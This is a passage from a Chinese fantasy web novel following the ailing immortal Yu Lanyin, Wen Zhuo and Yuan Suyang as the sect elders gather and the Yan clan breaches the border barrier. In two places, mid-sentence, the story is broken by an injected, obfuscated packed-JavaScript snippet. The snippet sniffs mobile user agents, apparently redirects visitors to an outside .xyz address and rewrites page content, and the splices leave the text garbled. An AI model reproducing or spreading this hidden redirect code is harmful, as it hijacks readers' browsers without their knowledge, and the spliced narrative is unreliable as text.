察觉到怀里人的颤抖,温卓立即低声道:“抱歉。” 随后催动灵力,将自己蒸得暖和了些,又替玉阑音蒸干身上的汗,低头亲亲他的额角,“好些了吗?” 玉阑音的身体比起多年前有过之而无不及。 法术和草药对他已经彻底无效,灵台粉碎,灵脉亏空至极,再不能容下一丝灵气,身上也不再像常人一样冬冷夏热。 即便是温卓已经将自己的体温升得足够暖和,却也不能温暖他丝毫。 玉阑音的牙齿打着颤,却道:“好些了。” 温卓心疼得无以复加。 发觉他没穿鞋,打横将他抱起,重新放回了床上。 玉阑音的手紧紧地抓着温卓的前 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玉阑音不满地一抬头,“那怎么可能,梦和现实又不一样。” 他就着这个姿势将温卓拽得离他更近了几分,腻腻歪歪地拥吻。 直到温卓略一皱眉,将玉阑音推离自己几寸。 他把玉阑音这瘦弱的小鸡崽子往被子里一塞,声音极为低沉和沙哑,“现在才丑时,继续睡觉。” 玉阑音忽然一笑。 可是他刚趋身靠近温卓,温卓已经像是避瘟疫似的一把将他撕下来,翻身下了床。 “睡觉。” 他动作近乎粗暴地替玉阑音塞了塞被角,看都没再看玉阑音,逃似的转身大步离开。 只留床上一个被裹成蚕蛹的玉阑音和天花板面面相觑。 “啧。” 良久,玉阑音撇撇嘴,冷哼一声闭上了眼,“睡觉。” 第二日清晨。 玉阑音醒得不算晚,不过醒来的时候,温卓和元宿央正坐在他旁边的桌几上喝茶,看起来像是等候多时了。 “醒了?”元宿央道。 玉阑音的胸口比昨晚还要闷,随着呼吸丝丝连连的疼,“嗯。” 他揉揉钝痛的额角,拖着沉重的身体起了床,由着温卓开始给他里三层外三层地加衣服,“你怎么又来了?” 元宿央没空和他拌嘴,“我爹叫我回去一趟,本来是打算过来和你道个别。” 他语气十分沉闷,“正好听见秦鹤生在找你和温卓。我怕是出了什么事。” 玉阑音的笑意渐隐,他下意识摸了摸胸口,随后抬头看了一眼温卓。 温卓迅速隐下眸中的忧心,假作没事人似的点了点头。 “我说我这几日怎么这么不舒服呢。” 玉阑音仿佛是在说别人的事情似的,笑意不减,安抚地拍拍温卓的手背,又朝元宿央一颔首,“我先和一一去找鹤生,过后我同你一起去玄天门。正好也有些时日没见拢虚了。” 玉阑音翻身下床,手上朝温卓做了个手势,自己接过羊绒外衫大氅,迅速地往身上一披。 他的唇色随着他的动作褪了个干净,温卓正想说什么,玉阑音稍一抬手,掌心向外,做了个温和却又不容反驳的拒绝的手势。 他的声音依旧十分温和,但是又带上了一些说不清道不明的别的东西。 “走了。” 71.乱世 玉阑音和温卓匆匆赶到天庸峰。 天庸峰这块向来安静清闲之地,此刻人头攒动,熙熙攘攘。 整个十方宗斗宗药宗百十名长老齐聚此处,直接将那大殿堵了个水泄不通。 十方宗向来有“非必要不得调动宗门尽数长老,以免滋生恐慌”的门规。 在场所有人谁不是把门规倒背如流? 他们心知肚明,对于今日的事态,他们面色都显得极为沉重,却没有人说话,气氛乌压压得透不过气。 看着这空前的阵仗,玉阑音随之更严肃了几分。 他大概是觉得手中的暖炉碍事,将它往温卓手里一塞,“人太多了,你在此处等我回来,不要乱跑。” 温卓接过暖炉,勾了勾玉阑音的掌心。 他的声音沉稳无比,极大地安抚了玉阑音心下的焦躁,“别着急。注意安全。” 玉阑音略颔首一笑,转身便往殿内走去。 他宽松的袍袖在风中晃荡,披风猎猎作响,肩头披着的及腰的长发在风中左右四散着飘。 温卓移不开眼,目送着这清瘦又顶天立地的背影离开。 十方宗的长老众多,多得是没能挤进殿内的。 温卓长得高,四下看看便还真瞧见了几个没进殿内的熟人。 他将那暖壶往识海里一收,朝那几位长老走去。 走近,规规矩矩地一行礼,“崇本长老,与徵长老。” 崇本和与徵听见耳熟的声音,转过身来。 因为先前炉阵一事,崇本对温卓的印象还不错,笑了起来,“是温卓啊。” 与徵不苟言笑,朝温卓点了点头。 温卓又一拱手。 崇本连连笑着拍拍温卓的肩,“规矩恁多,论宗门辈分咱还是平辈呢。不必行礼,不必行礼。” 与徵转头四处看看,似乎是在寻找着什么人。 温卓会意道:“阑音进殿内去了。” 闻言,崇本和与徵皆是恍然大悟地点了点头。 温卓道:“只是不知究竟是出了何事?十方宗长老怎么都来到了?” 说到这里,崇本脸上的笑意收了几分。 他摇了摇头,“具体也不知,就是今早接到了掌门的消息,来天庸峰。我这器阁待得好好的,掌门几百年不找我一回,而且我从来没听过掌门的声音那么……紧迫,把我搞得好一阵提心吊胆。” 与徵的年纪看上去比崇本更大些,一丝不苟束着的头发已经是尽数花白。 他的脸色同样不太好看,望着不远处,忧心忡忡地出神。 “……其实不是第一次了。” 温卓听到了与徵喃喃的自语,“何出此言,与徵长老?” 与徵这才收回视线。 他似乎是斟酌了一番词句,“从前也有一回,那时候的掌门还是观一掌门,紧急叫了十方宗所有的长老到天庸峰。无论是器阁还是书阁,所有长老,无一遗漏。” “还有这回事?”崇本一愣,“那当时是为何事?” 与徵点点头,“你们年级都小,不知道也正常。那时候我也只是一名普通的斗宗弟子,我不知道天庸峰上具体谈论了些什么,我只知道……” 与徵忽然再一次露出了那种虚无缥缈的目光。 他的声音也随之飘远,所说之话却让温卓和崇本齐齐变了脸色。 “那日过后不久……千年之战就到来了。” “不会有第二次千年之战了。” 秦鹤生的神色肃穆无比,所落之语却字字铿锵有力,“它不会,仙盟也决不允许。” 善玄站在秦鹤生身侧,在秦鹤生说话之余,往另一侧一低头,声音极低却万分关切,“师尊,你身体还撑得住吗?” 玉阑音紧靠着善玄垂手站着,面色苍白得同他霜色的衣袍别无二致,眼尾唇角都无半分血色。 他默不作声,孱弱又消瘦,不细看简直是像屋内种着的一株观赏竹。 听到善玄的话,他终于动了。 他偏过头,幅度很小地摇了摇,“无碍。” “须弥之地厌族大举进攻,极南琼州岛屿上空结界已破,极北北塞上空结界正在遭受猛烈的攻击。事态紧急,危在旦夕。” 秦鹤生说得极为精简,语速也很快,“此令在座诸位,自分五路,共御外敌,非战死不可退!” “我云州泱泱万里盛世千年,上下同欲生死同舟。此战务必使四方夷狄分崩离析,乱臣贼子不敢来犯!” 日月所照,江河所至,皆为邦土。 可秦鹤生寥寥数语,在场所有人,虽不言语却各自心知肚明—— 黑暗的旧日再度到来了。 秦鹤生敲了敲手里的拐杖,眸如星察。 “愿诸君凯旋!散!” 殿下的众位长老其实大多都不再年轻,可此话一落地,殿内猛地响起了一声极为铿锵的“是!” 他们的声音不再嘹亮,也不再高亢,离开的脚步不再轻快,也不再有力,却同样坚定,至死方休。 众人散去,殿内只剩善玄、秦鹤生和玉阑音三人。 玉阑音终于道:“鹤生……” 秦鹤生当即作了个停止的手势,他敲敲拐杖,“真人,我明白你的意思。 “虽然这么说会有些自命不凡,也有些冒犯,但是……这一次,是我们在为你而战,真人如今要做的,就是请务必、务必、务必保护好自己。” 他的目光极为柔软却极为坚毅,“秉文那丫头是个文职,打打杀杀的不在行,我就留她在家里了。几千几万号小孩子们,她应付不过来,这段时间就劳烦真人多帮衬她一二。” 玉阑音在袖摆下的手微微一动。 善玄褪去了往日那副玩世不恭的模样。 他只略微一笑,“放心吧,师尊。安生在家等着我给你带回来好消息。” 温卓注意到从殿内出来的玉阑音脸色不太对。 “阑音?” 两人并肩走着。 玉阑音沉默许久,在路过一株腊梅树的时候,他终于开了口:“从前我一直以为这条路上只有我一个人。” “今天我才知道……原来你们早就都和我一起。”他垂头一笑,但是看着并不幸福,也并不喜悦,“可是我知道得太晚了。” 温卓心下“咯噔”一声,他近乎恐慌地去看玉阑音。 玉阑音笑着摇摇头,“自言自语罢了。去找宿央,我们去玄天门一趟。” 屋内元宿央等得焦躁不安,和只蚂蚁似的直转圈圈。 实在是等了太久了,他一会儿怕是宗门出了事,一会儿怕是玉阑音半路翘了辫子,越等越着急。 就在他忍不住要提着剑去天庸峰找人的时候,温卓和玉阑音终于推门而入。 他剑眉一竖,当即就要小发雷霆,“你们……” 对面玉阑音不似活人的面色忽然刺得他住了口。 他倒吸一口凉气,“到底是怎么了?果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625070|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是结界出问题了?” 玉阑音点点头。 这可把元宿央吓坏了,“你这……还能行吗?要不你还是在这儿待着吧,我自己回去就行了……” 玉阑音脱力得有点站不住,半倚半靠着温卓,“这一趟免不了。有我们你回去的也能快些。温卓。” 温卓会意,都没等元宿央再说话,就地一个缩地术,稳稳地缩了几千公里,等几人回过神来,已经站在玄天门外了。 元宿央慢慢收回下巴:“……你们这法术确实是方便哈……” 玄天门是北晔剑宗之首。 和十方宗不同,虽然也居于群山之间,但是入目所见的门、铺首、屋檐皆是由石料打造而成,看上去肃穆又冷峻。 玉阑音揉揉眉心,“进去吧。” 元宿央“哦哦”两声,狗腿子似的把门大敞开,“快进快进,别让我爹……” 话音未落,“咻——” 极遥远处忽然飞来一根箭似的玩意儿,飞得极快无比,直接快了残影。 元宿央连忙却又熟练的往后一避。 “嗡——” 那物件猛地插进了他们背后的石门上,因为不住的颤抖发出嗡鸣。 温卓打眼一看。 温卓:“……” 玉阑音笑了,“筷子?” 元宿央好整以暇站定,自以为很帅气地一摸鼻子,“嗯哼。” 温卓:“……” ……可是他到底在装什么帅。 未见其人先闻其声。 远处忽然带着回音传来一句中气十足的:“臭小子你还敢回来——” “还敢回来——” “敢回来——” “回来——” 随后,面前殿后转过来一个胖乎乎的中年人。 他摸着胡子,踱着四方步慢悠悠地往三人这处走来。 还未走近。 这人忽然又中气十足“哎哟”一声,止了步子。 他在原地仿佛不信邪似的眯起了眼,一个劲往这处鬼鬼祟祟地探头。 活像是来偷东西的贼。 玉阑音被他滑稽的模样逗乐了。 他清了清嗓子,朝这人摆了摆手,唤了一声:“拢虚。” 元宿央敢保证,他清清楚楚听见远处的他亲爱的爹,中气十足地骂了一句脏话。 远处的拢虚听见这声情真意切的呼唤,这下子来也不是,去也不是。 在原地来来去去转了几个圈,见实在躲不过,才抓耳挠腮地走一步退三步地往门口挪。 “哎哟……这,真人您往我们这处来,怎么也不提前说一声呢……哎哟您看看这真是……” 拢虚一边点头哈腰地笑着,一边凑过来,使着寸劲儿把那门上的筷子拔了下来,脸上的横肉抖了两抖。 玉阑音笑眯眯地看着他。 “你总和我来通信,我还寻思你这是挂念我,让我来做客呢。原来是叶公好龙?” 拢虚的脸比叶公看见龙的时候好不了多少。 他又哈哈一笑,“当然是欢迎,当然是欢迎啦……” 玉阑音作了个“打住”的手势,随后四下打量了一番玄天门。 “不说这些客气的了。拢虚啊,你这玄天门还真是我头一回来,真挺气派——” 拢虚听得冷汗岑岑。 果然,玉阑音很快就笑眯眯转过头来,道:“所以欠我的那些银子,到底什么时候能还上?” 72.心结 拢虚“哈哈”一笑,转头朝元宿央道:“快,给真人还钱。” 元宿央:“……” 元宿央:“这和我有什么关系?” 拢虚又朝着玉阑音“哈哈”一笑,随后提起了元宿央的耳朵。 “别以为我不知道,你把你所有的家当都装你识海里了!瞧你那抠搜的样子!我堂堂玄天门掌门还能偷你钱不成!” 元宿央被揪得“嘶嘶哈哈”喊疼。 不忘一边试图反抗:“可是你是真拿啊,你上回……” “去去去!胡说八道!可别在真人面前胡咧咧抹黑我!” 拢虚脸一黑,气得直接拍了一掌出去,把元宿央拍到地上眼冒金星。 玉阑音没事人似的,就在一旁站着笑眯眯地看,也不说话。 倒是温卓因为心疼玉阑音天寒地冻地待在外头太久,拦下了怒火中烧的拢虚。 “拢虚掌门息怒。我和阑音今日是为结界一事而来,不知拢虚掌门可知此事?” 有了台阶,拢虚好容易借坡下驴。 他从容地搂了搂衣服,“这位小兄弟看来便是犬子口中常说的温卓了?快快同真人一同请进,北晔干冷,我们进屋慢谈。” 玄天门作为北晔第一宗门,此时其实是有些安静地过分了。 进了屋后,玉阑音甚至因为太过安静隐隐有些耳鸣。他不舒服地晃了晃头。 温卓注意到了他的小动作,伸手替玉阑音揉了揉耳朵。 一边向拢虚略颔首解释道:“宗门内太安静了。” 拢虚和玉阑音是大几百年的交情。 玉阑音是个什么样的人,他可真是太清楚了。 看上去温和有礼,谁说话都笑着“好好好”,实际上他活像是个活在罩子里的人,同这个世界上的万事万物都隔着一层厚壁障。 不过此刻拢虚也来不及纳罕面前这小孩子为什么能同玉阑音如此亲昵了。 他面色沉沉,再不见方才点头哈腰的滑稽模样,“所为正是厌族一事。几位到来前半刻钟,方将宗门尽数长老派去云州各处。事态紧急,招待不周,二位见谅。” 玉阑音周身发寒,看上去状态并不好。 他半阖着眸子,唇色苍白,看上去暂时没有要开口的意思。 注意到了玉阑音的心不在焉,拢虚面露担忧,递上沏好的茶。 “结界受损情况比想象得严重,真人果然还是收了波及。现在感觉可还好?” 玉阑音往温卓一侧倾倒,靠在了他的肩头。 恹恹地掀起眼睑,随后抬手轻轻一下压,做了个“不必挂心”的手势。 大概是因为玉阑音这人撒谎成性的毛病已经是众人皆知,在场的温卓和拢虚,没有一人因为他说了“没事”就松开眉头。 “今日叫宿央回来,结界一事是其一,其二其实还是为了掌门继位一事。”拢虚说到这里就叹起气来,“真人你也知道的,我这身体连你也……” 就在这时,元宿央终于吸溜着鼻血,踉踉跄跄地姗姗来迟。 一进屋,三人的目光登时齐聚他身上。 他“呼噜”地吸了下鼻血,“啊,怎么了?” 拢虚叹口气,朝他摆了摆手,“没怎么,过来吧。” 元宿央“哦”一声,老老实实过来挨着他爹和玉阑音坐下了。 其实在玉阑音的记忆和认知里,元宿央其实对继承掌门之位似乎并没有这么抗拒。 玉阑音还记得他们初识那次的大雨里。 元宿央在那天说,他其实最怕的就是自己配不上拢虚的期待,被人发现自己其实真的只是有几分小聪明,除此以外一无所有。 虽然当时的玉阑音对此的态度是模棱两可的不置可否,但实际上,他总觉得,尽管元宿央面上不显,但他说话时高抬的意气风发的眉眼,其实大概是比任何人都更想闯出一番天地。 尽管这么多年过去了,记忆中的锋利逐渐被眼前插科打诨所取代。 但玉阑音却总是能记起更早年的那个,郁郁寡欢却又神采飞扬的年轻人。 果然,今日拢虚提到这件事情之后,元宿央当即就发了火。 “爹,你要我说几遍?我说不做就是不做,和如今世态如何究竟有什么关系!” 元宿央这人其实只是看着刁蛮,其实胆大心细,骨子里又很讲规矩。 例如现在,他即便是吼着说喊着,依旧是没对拢虚落下任何一句重话。 他气不过,胸口闷得发慌,脸上红红白白一阵,硬邦邦撂下一句“你们聊吧,我走了”,头也不回地摔门而出。 拢虚看得直摇头,“这孩子……” 许久没出声的玉阑音收回了送着元宿央走远的背影上的目光。 随后他站起了身,不由分说地往外走,随意地朝拢虚摇了摇头,“别急,我去看看他。” 愤而离席的元宿央并不难找。 玉阑音刚出门,往右一转,便在树下看见到了元宿央蹲在树下的身影。 玉阑音放轻了脚步,在他不远不近处就停下了脚步。 温声问道:“在看什么呢?” 元宿央的脊背猛地一僵,“太嵇?” 他近乎慌乱地就站起身,不由分说地抓住玉阑音就要讲他往回拉,“你怎么来了?天这么冷,快回去!” 不过瘦死的骆驼比马大,玉阑音即便是虚弱至此,手劲儿也不是一般人能比得了的。 他一翻腕,一把按住了急匆匆的元宿央,“宿央,你知道我为什么而来。如果你真的有意让我早回去,就别再顾左右而言他。” 元宿央手上挣脱不开,脸上表情晦涩难辨。 终于,他像是败下阵来,肩膀猛地一垮,在干冷的天里重重地吐出一口白雾。 “阑音,你记得我同你说过,我的天资很差,能有如今的修为其实是我爹找来一票炼丹师,一把一把丹药喂起来的么?” 玉阑音不知道为什么他要提起那一日。 不过他的确还记得。并且记忆犹新。 “天资并不差,只是灵基薄一些,灵脉细一些。” 一模一样的话,玉阑音再一次同他道。 元宿央紧绷着的脸忽然忍不住地松懈了下来,他嗤 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他轻声咳了两声,“宿央,在十方宗,论修为,鹤生同期的师兄弟比他好得不是一星半点,可是我和观一还是一致推选他做了掌门,你觉得是为什么呢?” 元宿央抿了抿唇,他似乎想说什么,但是最终是没有开口。 玉阑音继续道:“我知道我一两句话打不开你几百年的心结,不过宿央,你信得过我吗?” 元宿央点点头,“当然。” 玉阑音终于露出了一丝笑意,“那你就听我说,宿央,你的心性在我认识的人中数一数二,不掺杂任何主观因素,哪怕是换了我,我也只会选择你来任下一任掌门。 “你配得上,宿央。” 他话音落下之后,元宿央久久没有回话。好半晌,他才抬手摸了摸鼻子,“……真的么?” “嗯?”玉阑音略一挑眉,“你方才刚说了信我的。” “那你也不能是为了让我高兴说假话啊……”元宿央哼哼两声,脸不知是冻红的还是羞红的,“知道了知道了,漂亮话都叫你说完了,显得我很不懂事似的。 “不过我还是觉得……受之有愧,我知道我爹身体不是很好,不过今日人族厌族这一仗他大概还是能撑过去的。等我……带着战功凯旋后吧,到时候,我风风光光继任掌门,这样怎么样?你们这下总该满意了吧?” 玉阑音不说话,只看着他笑。 他笑眯眯的,把元宿央越看越不自在,脸也越来越红。 终于,他恼羞成怒地跳了脚,将玉阑音往回去的路上推搡,“好了好了!笑屁笑!回去了!你这都快冻成冰雕了!温卓见了还不得活剥了我?” 玉阑音好脾气地应和几声,由着他连拉带拽。 这大概是这些日动荡里为数不多的好消息了。 ——这当然不是指玄天门下一任掌门之事尘埃落定。 只是…… 玉阑音看着元宿央红扑扑的,过于有生机的侧脸。 他只是很庆幸。 他很庆幸,身旁那个野心勃勃的少年,几百年几千里路,一路嬉笑怒骂,却一路没有走散。 73.前奏 元宿央年少时是没怎么有朋友的。 他尊为玄天门少掌门,娘亲死得早,平日随着拢虚修行,不像普通玄天门弟子,能有个把交情匪浅的师兄弟。 平日里,进进出出总是一个人。 元宿央和玉阑音说,他从小是吃着各种仙丹长大的。 但是事实并非完全如此。 因为仅仅丹药对于天资拙劣的他来说,效果可谓是极其不显著。 不过元宿央对此也没有过多的抱怨,相反地,他深以为然。 毕竟若真是让他一介废人靠吃丹药成了仙童,那这个世界得是多么不公平啊。 玄天门权财双全,网罗了天下尽数炼丹师。 元宿央两三岁起就开始食用丹药。到了十来岁,拢虚见丹药其效甚微,暴怒,当日便要了几位炼丹师的脑袋。 只是拢虚直到今日都不知道,他手起刀落之时,年幼的元宿央就躲在门后,看了个清清楚楚。 从此以后,元宿央的丹药不断,另外还要每日洗筋伐髓一个时辰。 那洗筋伐髓的药池里不知究竟是添了何物,疼得元宿央哀嚎连连,一个时辰都不断。 ——疼晕过去,再疼醒。 周复如此。 直到每日在药池里按着少掌门的侍卫都看不下去了。 他冒着掉脑袋的风险,直挺挺跪在拢虚面前,替小小的元宿央求情。 ——结果如他所愿,他果真掉了脑袋。 再之后,在药池旁按着元宿央的人变成了拢虚自己。 元宿央问,阿蛮呢。 拢虚笑着摸摸他的脑袋说,他回家去了,再不来了。 于是他就这么失去了他人生中的第一个朋友。 西南高原之上,猎猎的寒风中。 元宿央毫不掩饰地打了个打喷嚏。 “靠……”他吸溜了一下鼻子,忍不住骂了脏话,“这鬼天气,冷死他爹了!” 随后他猛地往另一侧扭头,“还有!你们俩跟着我来是要干什么!” 一旁,玉阑音和温卓动作整齐地摸了摸鼻子。 其实温卓对于玉阑音阳奉阴违,不好生在十方宗待着这件事颇有微词。 但论执拗,谁能拗得过玉阑音呢。 两人对峙许久,最终以约法三章:“首要任务保护好自己”、“非必要不出手”、“除此以外所有事决定权在温卓”作罢,随着元宿央来了云州西南。 云州西南地处偏远,人迹罕至。 此处暂时没有交手的迹象,不过几人行进途中,已经有三五帮修士打扮的人在他们身边匆匆掠过。 “未雨绸缪。” 玉阑音道,“云州边境处的结界最为低垂,也最为薄弱,南塞和北塞相继遭受重创,此后若再有进攻之势,西南此地首当其冲。不可放松警惕。” 元宿央正色点点头。 三人加紧步子随着身旁步履匆匆的修士一同往更前处行进。 终于,前方传来了人声——前方正是云州西南的最边境。 可这最遥远的边境处却比此外各处都要熙攘。 这里聚集了数不清的不同宗门修士,像是心意相通的默契似的,在场的修士皆为各宗门的长老,没有一个弟子小辈。 他们年纪各异,身着各色各异的服饰,却并不拉帮结派。 术修着手加固着云州结界。 剑修在其后很迅速地起了遍地的简易的驻扎地。 此处云州结界果然挂得极低,几乎是伸手可碰。 天色已晚,红霞接近尾声,天幕逐渐黯淡无光。 此处修士手上运转灵力产生的光颜色各异,如刀如剑,划破了沉闷的空气和阴翳。 元宿央如今只四百余岁,出生那年正是云州繁华盛世之时。 平日摇着扇子做个花花公子惯了,何时经历过战乱。 可今日来到了西南,空气中弥漫着的是和中原截然不同的气息。 风雨欲来,萧瑟肃杀,战火来临的前奏,无一不在昭示着战争即将的到来。 结界下,一个中年模样的,身着水蓝色长老袍的人忽然变了脸色。 他猛地一收手,往后大撤一步,“结界外有东西!” 似乎是为了应和他的话似的。 天幕之上如夏日的雷鸣一般轰隆隆地传来一阵刺耳又绵长的呼啸声—— 在场之人齐齐变了脸色。 这声音没有人任何修士会陌生——是厌族。 可是就在众人绷紧了弦等待进攻的到来之时,云州外须弥之地的厌族却又悄无声息地隐匿了起来似的,久久再没传来声音。 云州结界绵延千里未有断绝,为了以防万一,众人在云州结界之上加的符咒和新的结界也是尽可能地达到最大的宽幅和韧性,尽可能地覆盖更大的面积。 但这无疑需要耗费巨大的法力。 厌族的进攻迟迟不到,不少长老已经在此处撑开结界等待了四五日之久。 可是没有一个人收手,也没有一个人后退。 玉阑音的脸在斑斓的灵力的光中神色莫辨。 温卓似乎是有所感似的,手疾眼快地一把按住了玉阑音的肩膀,“阑音。” 他掌心之下的玉阑音很轻微的一僵。 随后他才转过了头,似是好笑地道:“急什么?我又没说我要出手。” 温卓按在他肩头的手不松反紧,“是么?” “当然了,”玉阑音十分镇定地拍拍温卓的脸,“我是想说——我不去,你去。” 温卓目光沉沉地看玉阑音一眼,几乎叫他似是而非的谎言无处遁形。 就在玉阑音的笑容快要将在脸上的时候,温卓才低低地“嗯”了一声。 元宿央是个剑修,厌族进攻之前能做的事情很少。 于是他很早就跑到后面去帮着别的剑修去收拾临时驻扎处了。 玉阑音往元宿央在的方向看了一眼,笑着朝温卓许诺。 “不骗你,我就在宿央那处,哪也不走,哪也不去,可好?” “好。” 温卓丝毫没有收回停留在玉阑音脸上的目光的意思,“我看着你过去。” 玉阑音只好去到了那帐篷似的驻扎处底下。 他远远地无奈地喊道:“这下好了吗?” 温卓又看了他一会儿。 随后,他才脚下一动,一踮脚,瞬闪一般闪到了众术修背后。 温卓的手在胸前轻轻地一合一张。 腾然,一阵极为夺目又嚣张的暗红色灵力腾空而起,以他为中心,一个半球形的罩子凶猛地往四周扩张。 在无数术修的无数灵力叠加的灵力场中,温卓的灵力完全没有被淹没的迹象。 他仅仅是放出了结界,但暴起的灵力却已经卷起了一阵猛烈的罡风。 一道暗红色的光像是踩着其他修士的头似的,猛然跃至高处,几乎和云州结界融为一体,只在光影斑斓间隙折射出黑红色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654679|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光时,才能窥见它的存在。 离温卓最近的术修被这极为乖张又压迫感极强的灵力推了个踉跄。 他不可置信地回头朝温卓看去。 温卓穿的是他从小穿惯了的玄色长衫,袖摆和袍摆绣着暗色花纹,时值冬日,他在单袍其外加了一件同为玄色的长披风,领口翻着棕黑色狐毛。 “抱歉。” 看见前方这人回头,温卓手上的动作不停,十分礼貌地颔首道歉。 随着温卓的出手,在场所有修士均觉得手下一松,像是被什么人在下面脱了一把,骤然轻松了好些。 转过头的那位术修看看温卓的衣着,并非任何一个宗门的样式,但是用料又金贵无比,心下纳罕得紧。 他一边疑惑着,一边朝着温卓笑了笑。 不过温卓的这番惊天撼地的大动作倒是没能落到玉阑音眼里。 临时驻扎的帐篷内,玉阑音在温卓转开目光往人群中走去的一瞬间就失去了意识,往后一仰,“哗啦”一声,连带着几副碗筷摔倒在地。 元宿央被身后这动静惊了个半死。 他慌慌张张地当即扔下了手上的东西,箭似地往玉阑音那处跑,“太嵇!” 帐篷里也在忙碌的剑修正好是一群年轻人,看着年纪不大,大概都是做了长老不久,也闻声看去—— “……不是,他刚才……喊的什么?” “好像是,太……太嵇?” “哈?太嵇?太嵇真人?云州上仙?你不是听错了?” “没啊!就是太嵇!” “哎呀吵什么吵!过去看看不就知道了!” 七嘴八舌了一阵,一票剑修也随着元宿央的动作你前我后地凑了过来。 朝着元宿央抱着的玉阑音探头探脑。 “这就是……云州上仙?” “嘶……长得也太……秀气了,对,秀气……” “不知道啊……我从前也没见过啊……” “上仙咋了?脸白得和纸似的了!这是咋的了啊?” 元宿央根本无暇顾及这群人的叽叽歪歪,他把玉阑音抱在怀里,不敢用一点力气,生怕把他对半折断了。 “太嵇!太嵇!” 玉阑音禁闭着双眼,显然是没有听到外界的呼唤了。 元宿央顾不上什么“授受不亲”了,抗麻袋似的把玉阑音扛到了肩上。 他使劲挤过拥挤的人群,“让一让!快!来张床!” 一众剑修们终于发现事态不太对了,立即让开了一条路。 元宿央三步并两步,手上动作十分大老粗地把玉阑音扔到了床上。 方才玄天门下几位长老匆匆来了信。 说南塞厌族再度反攻,攻势极为凶猛,仙门死伤无数,结界已经彻底损毁,琼州沦陷,申请战线后退。 元宿央看着呼吸浅得几乎没有了的玉阑音,慌乱到不知所措。 他知道如今玉阑音身体状况的急转直下是因为各地结界相继破损,除了尽快修补结界再没有更好的办法。 可是…… 他转头看了看天外风雨欲来的天色,眼眸中是无穷无尽的担忧。 如果这个世界真的有神明,请…… 不过,他心里的祈祷甚至还没来得及念完。 “轰隆——” 大地忽然上下左右猛烈地摇晃了起来,随之而来的是刺耳的金属摩擦的厌族长长的嘶鸣—— “厌族!是厌族进攻了!” 74.战火 元宿央头脑嗡得一声,背上随着这惊天动地的震动陡然冒出一层冷汗。 他下意识往帐篷外看去—— 天幕之上,阴森的黑棕色鬼气缠绕腾升,随着地鸣和震颤丝丝缕缕地散开,再凝结成块,再散开,周而复始。 直至天空被鬼气笼罩,空空荡荡,甚至不见日月星辰。 在黑暗中,穹顶之下的术修灵气运转随之更加强劲,身上灵气的光芒更盛。 “撑住!稳住结界!厌族要进攻了!” 似是为了印证这话的真实性一般,话音未落,天空的更远处忽然一阵震颤的轰隆声,像是夏日暴雨来临之前的雷鸣。 “砰!” 一声猛烈的碰撞声从漆黑的夜空深处传来。 天空之外便是厌族生存的须弥之地。 灵气隐约的光下能窥见,天空另一侧庞然大物的暗影重重。 “砰!” 又是一阵撞击,比方才的第一下撞得更急猛,天幕之下的术修齐齐被这次的后坐力撞得后撤一步。 “砰!” 又是一声。 “砰!”“砰!” 撞击来得越来越猛,越来越频繁。 有几个已经维持结界太久了的术修终于难以为继地踉跄一个后滚,“噗啦”一声呕出了一口鲜血。 倒地之后缺了一处结界,立刻就有后侧人往前两步重新补上。 温卓抽空一只手顶住了前方被震得节节后退的术修的背。 他单只手的灵力不减,甚至更甚,眼底也因为厌族疯狂肆虐的呼喊而波涛汹涌,不住地闪过红光。 温卓的识海内翻云覆雨,鹰啸马嘶,一刻不歇。 但他从没有一刻比现在更冷静。 因为他一步也不能退。 温卓并不是一个伟大的胸怀天下之人,相反,他自私、偏执,却又善于隐藏,此生为数不多的情感大概都系在了那人身上—— 他没有理会前方术修虚弱地道谢,急匆匆地往身后驻扎的帐篷看一眼。 尽管匆匆一瞥,天色已晚,他甚至连帐篷的颜色都没看清。 可是,是的。 他一步也不能退。 就在温卓目光要收回来的最后一个瞬间,元宿央出现在了他的身后。 温卓甚至都来不及愣住,几乎是当即就变了脸色:“你来做什么!阑音呢!” 元宿央听着温卓的低吼,眼神略一闪躲。 可是这神情在一片漆黑中转瞬即逝,并没有被温卓捕捉到。 他半遮半掩地支吾一声:“太嵇不太舒服,在休息。” 可紧接着,元宿央的脸上忽然被一阵棕黑色荧光照亮,他旋即变换了神色,“没空说这些了!它们进来了!” 如今结界状况如此,若是说玉阑音特别舒服如鱼得水那才真是有鬼。 温卓对此不算意外,目光沉沉地转回了头。 天幕终于被须弥之地伸过来的一双巨手撕裂开来。 那裂口高几万丈,宽几千尺,其内一片浓重的漆黑。 穹顶开裂的瞬间,鬼哭狼嚎的嘶鸣与嚎叫划破空气,侵略似地钻透在场所有人的耳膜。 怪异的狂风从须弥之地猛烈地吹来。 修士的衣袍在风中猎猎作响,他们脚下被剧烈的风吹得根本站不稳。 ……下雨了? 温卓摸摸脸上的湿润。 他低头看。 是血。 风中的雨点像刀子,猝不及防迎了满头满脸,所有人脸上均是一片血痕。 结界已经被撕裂。 驻扎所内的剑修应声而出,齐齐亮剑,排好阵列作战斗状态。 “各位术修!听令!立即撤去灵力!回驻扎帐篷内休整!不得违背!” 风中,是元宿央混着灵力大喊一声,清清楚楚地传给了在场所有人。 元宿央手上一握拳,终于祭出了他的本命剑——芳闻。 芳闻剑是玉阑音亲手炼制而成,昆山玉铁,剑柄玉白,垂着青绿色吊穗。 